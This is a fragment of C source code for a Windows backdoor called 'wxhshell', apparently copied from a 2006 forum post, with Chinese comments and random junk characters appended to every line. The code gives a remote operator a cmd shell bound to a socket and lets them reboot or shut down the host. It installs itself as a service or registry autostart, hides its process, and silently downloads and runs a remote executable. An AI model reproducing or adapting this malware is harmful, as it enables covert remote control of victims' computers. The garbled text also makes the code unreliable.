  case '?': { ZIF49`Y4TF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }[xs~! 2F  
    break; <'g:T(t  
  } ? C/Te)  
  // 安装 JwXT%op9RP  
  case 'i': { QMZ)-ty"  
    if(Install()) v~Y^r2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[tP_%/r'^  
    else }m-FGk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^7Fh{q4IE  
    break; wKsT7c'  
    } 28=O03q  
  // 卸载 w[ ~#av9  
  case 'r': { 6VhjJJ  
    if(Uninstall()) [0D Et   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kde9 $  
    else 3@]SKfoo1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >i6yl5s  
    break; 9WR6!.y#f  
    } 3Gip<\$v  
  // 显示 wxhshell 所在路径 fS`$'BQ  
  case 'p': { gatB QwJb9  
    char svExeFile[MAX_PATH]; 'R:"5d  
    strcpy(svExeFile,"\n\r"); NG6& :4!  
      strcat(svExeFile,ExeFile); .AU)*7Gh  
        send(wsh,svExeFile,strlen(svExeFile),0); pf7it5  
    break; [#sz WNfU  
    } L~KM=[cn  
  // 重启 B9J&=6`)  
  case 'b': { ;"m ,:5%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xp}Yw"7  
    if(Boot(REBOOT)) )=etG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~appY Av  
    else { /QJ?bD#a  
    closesocket(wsh); ~B(6+~%  
    ExitThread(0); &kpwo )  
    } STaA]i}P  
    break; jNC4_q&  
    } y? co|  
  // 关机 0xXC^jx:  
  case 'd': { L5\WpM=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eET}r 24  
    if(Boot(SHUTDOWN)) >MvDVPi~+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >HS W]"k  
    else { N~xLu8,  
    closesocket(wsh); X ' "SVO.  
    ExitThread(0); pLzk   
    } PKzyV ;  
    break; j+ LawW-  
    } ih;]nJ]+-  
  // 获取shell oo.2Dn6z  
  case 's': { }O4^Cc6  
    CmdShell(wsh); q')R4=0 K  
    closesocket(wsh); fP `b>]N_  
    ExitThread(0); 1N>|yQz  
    break; D= h)&  
  } =%BZ9,l  
  // 退出 \R;`zuv   
  case 'x': { 6efnxxY}sa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c?,i3s+2Y  
    CloseIt(wsh); smDw<slC  
    break; u5%7}<nNi  
    } RSfzRnhmr  
  // 离开 ;y2/-tL?  
  case 'q': { d:U9pC$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [`):s= FC  
    closesocket(wsh); GHeVp/u  
    WSACleanup(); se>MQM5 )  
    exit(1); '&|=0TDd+  
    break; _Iv6pNd/  
        } %$Aqle[  
  } ;IokThI  
  } 9b*nLyYVz  
Z KckAz\#  
  // 提示信息 2j[&=R/.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b^$|Nz;  
} DY?Kfvef  
  } |Xk4&sDrK  
]h5Yg/sms  
  return; YS%h^>I^  
} y)@[Sl>  
\0f{S40  
// shell模块句柄  W0]gLw9*  
int CmdShell(SOCKET sock) 5qP:/*+  
{ qDfd.gL  
STARTUPINFO si; %GS(:]{n  
ZeroMemory(&si,sizeof(si)); #: [<iSk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ch3jxgQY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9 o&`5  
PROCESS_INFORMATION ProcessInfo; rq/I` :  
char cmdline[]="cmd"; fL=~NC"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :d#VE-e  
  return 0; AQiwugs  
} eXf22;Lz  
$ . 9V&  
// 自身启动模式 >\Ww;1yV  
int StartFromService(void) O6G0  
{ ] A+?EE2/  
typedef struct )(384@'"u  
{ A'&K/)Z  
  DWORD ExitStatus; -u8NF_{c  
  DWORD PebBaseAddress; ptZ <ow&  
  DWORD AffinityMask; ?TKRjgW`@_  
  DWORD BasePriority; E`uY1B[c  
  ULONG UniqueProcessId; x-?Sn' m  
  ULONG InheritedFromUniqueProcessId; [6XF=L,!  
}   PROCESS_BASIC_INFORMATION; Xn%pNxUL  
9uA>N  
PROCNTQSIP NtQueryInformationProcess; ]h %Wiw  
u2?|Ue@[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z3;*Em8Ir  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _zwG\I|Q  
&H`jL4S  
  HANDLE             hProcess; *5^Q7``  
  PROCESS_BASIC_INFORMATION pbi; T r1?620  
d5gR"ja  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {*I``T_+  
  if(NULL == hInst ) return 0; ?qWfup\S  
@6]sNm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L$E{ycn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8Hn|cf0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Id%_,}Kb  
[.uG5%fa  
  if (!NtQueryInformationProcess) return 0; K8UP,f2  
%*0^0wz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U5.LDv;  
  if(!hProcess) return 0; V1 3N}]  
70Wggty  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?1K#dC52#  
S9~ +c  
  CloseHandle(hProcess); &b%zQ4%d-`  
ei[j1F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /*X2c6<d  
if(hProcess==NULL) return 0; I ,z3xU  
`yH<E+   
HMODULE hMod; tAv@R&W,  
char procName[255]; t~#zMUfac  
unsigned long cbNeeded; mSb#Nn6W  
/! "|_W|n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0,89H4  
V#S9H!hm$  
  CloseHandle(hProcess); \(^nSy&N  
5a|w+HO,  
if(strstr(procName,"services")) return 1; // 以服务启动 a@UZb  
,l:ORoND  
  return 0; // 注册表启动 \Ani}qQ%|  
} |m^k_d!d  
fj;y}t1E]  
// 主模块 \1fN0e  
int StartWxhshell(LPSTR lpCmdLine) {^7Hgg  
{ 5BlR1*  
  SOCKET wsl; ?7.7`1m !v  
BOOL val=TRUE; eQp4|rf  
  int port=0; KmA;HiH%J  
  struct sockaddr_in door; $+Z)  
O06"bi5Y  
  if(wscfg.ws_autoins) Install(); , P70J b  
jw^<IMAG\8  
port=atoi(lpCmdLine); hp5|@  
'+?"iVVo  
if(port<=0) port=wscfg.ws_port; ZK@N5/H(  
j/f?"VEr  
  WSADATA data; [d1mL JAR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &h^9}>rVjV  
4'a=pnE$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p8h9Ng* &`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;; C?{  
  door.sin_family = AF_INET; d9;g]uj`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _lGdUt 2  
  door.sin_port = htons(port); |yQZt/*SOZ  
C1m]*}U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I+[>I=ewa  
closesocket(wsl); SEGri#s  
return 1; B"TAjB& *  
} P(,p'I;j  
DVB{2~7 4  
  if(listen(wsl,2) == INVALID_SOCKET) { -ZRO@&tMD  
closesocket(wsl); N343qU  
return 1; Py@wJEo  
} OZ |IA:,}  
  Wxhshell(wsl); qUob?| ^   
  WSACleanup(); 2\jPv`Ia  
LWz&YF#T-  
return 0; / zB0J?  
w35J.zn  
} {f2S/$q  
w[S pw<Z  
// 以NT服务方式启动 ^=RffrlZU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =u2l. CX  
{ ]yx$(6_U  
DWORD   status = 0; zMm#Rhn  
  DWORD   specificError = 0xfffffff; d%RC  
| r&k48@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T`\x,` ^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t>urc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :U3kW8;UMP  
  serviceStatus.dwWin32ExitCode     = 0; qln3 k`  
  serviceStatus.dwServiceSpecificExitCode = 0; HkUWehVm  
  serviceStatus.dwCheckPoint       = 0; :D%"EJ  
  serviceStatus.dwWaitHint       = 0; M<.d8?p )  
QS` PpyBkd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G~2jUyv  
  if (hServiceStatusHandle==0) return; E_])E`BJ  
:(!` /#6H  
status = GetLastError(); w$z}r  
  if (status!=NO_ERROR) {|&5_][  
{ (Pf+0,2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aJ-K?xQ  
    serviceStatus.dwCheckPoint       = 0; EN;}$jZ>47  
    serviceStatus.dwWaitHint       = 0; s:#V(<J  
    serviceStatus.dwWin32ExitCode     = status; sk,ox~0R  
    serviceStatus.dwServiceSpecificExitCode = specificError; mpI5J'>]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q)S^P>  
    return; {mZC$U'  
  } '_w=k 4  
b[t>te  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r@+ri1c  
  serviceStatus.dwCheckPoint       = 0; OWjk=u2Lz  
  serviceStatus.dwWaitHint       = 0; p?7v$ev_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5NS[dQG5  
} %r%Mlj:#  
KxYwJ  
// 处理NT服务事件,比如:启动、停止 w+#C-&z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a(kg/s  
{ @SJL\{_  
switch(fdwControl) tiB_a}5IB  
{ 6r"eN%m  
case SERVICE_CONTROL_STOP: wkA+j9.  
  serviceStatus.dwWin32ExitCode = 0; !}v=N";c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [S HXJ4P*  
  serviceStatus.dwCheckPoint   = 0; %k-3?%&8  
  serviceStatus.dwWaitHint     = 0; ein4^o<f.  
  { Kw efs;<E?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rz bj  
  } M=F xB;v  
  return; z3&]%Q&  
case SERVICE_CONTROL_PAUSE: M dZ&A}S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3D!5T8 @  
  break; KIui(n#/  
case SERVICE_CONTROL_CONTINUE: =XucOli6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uC+V6;  
  break; y.#")IAF  
case SERVICE_CONTROL_INTERROGATE: l6YtEHNG  
  break; /^X/8  
}; I/d&G#:~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rn`x7(WA  
} b$ve sJ  
}.3nthgz  
// 标准应用程序主函数 1|kvPo#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;1`fC@rI  
{ #!aN{nK0  
{1V($aBl  
// 获取操作系统版本 "= 6_V?&w  
OsIsNt=GetOsVer(); 4]G?G]lS>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =|M>l  
ORyE`h  
  // 从命令行安装 NO|KVZ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); iF-6Y0~8  
u [m  
  // 下载执行文件 ,uo'c_f(e  
if(wscfg.ws_downexe) { ?u/@PR\D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pP*zq"o  
  WinExec(wscfg.ws_filenam,SW_HIDE); C\/xl#e<@  
} co~Pyj  
f!oT65Vmi  
if(!OsIsNt) { %+8F'&X  
// 如果时win9x,隐藏进程并且设置为注册表启动 P_?gq>E8  
HideProc(); ';TT4$(m  
StartWxhshell(lpCmdLine); b8V~S'6VqO  
} C ~<'rO}|  
else c(:f\Wc3Z  
  if(StartFromService()) U*( izD  
  // 以服务方式启动 ^T ?RK "p  
  StartServiceCtrlDispatcher(DispatchTable); U]^HjfX\  
else *AoR==:ya  
  // 普通方式启动 O4r0R1VQM  
  StartWxhshell(lpCmdLine); NLUT#!Gr  
zm]aU`j  
return 0; /tP|b _7O  
}
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只看该作者 1 发表于: 2006-10-10
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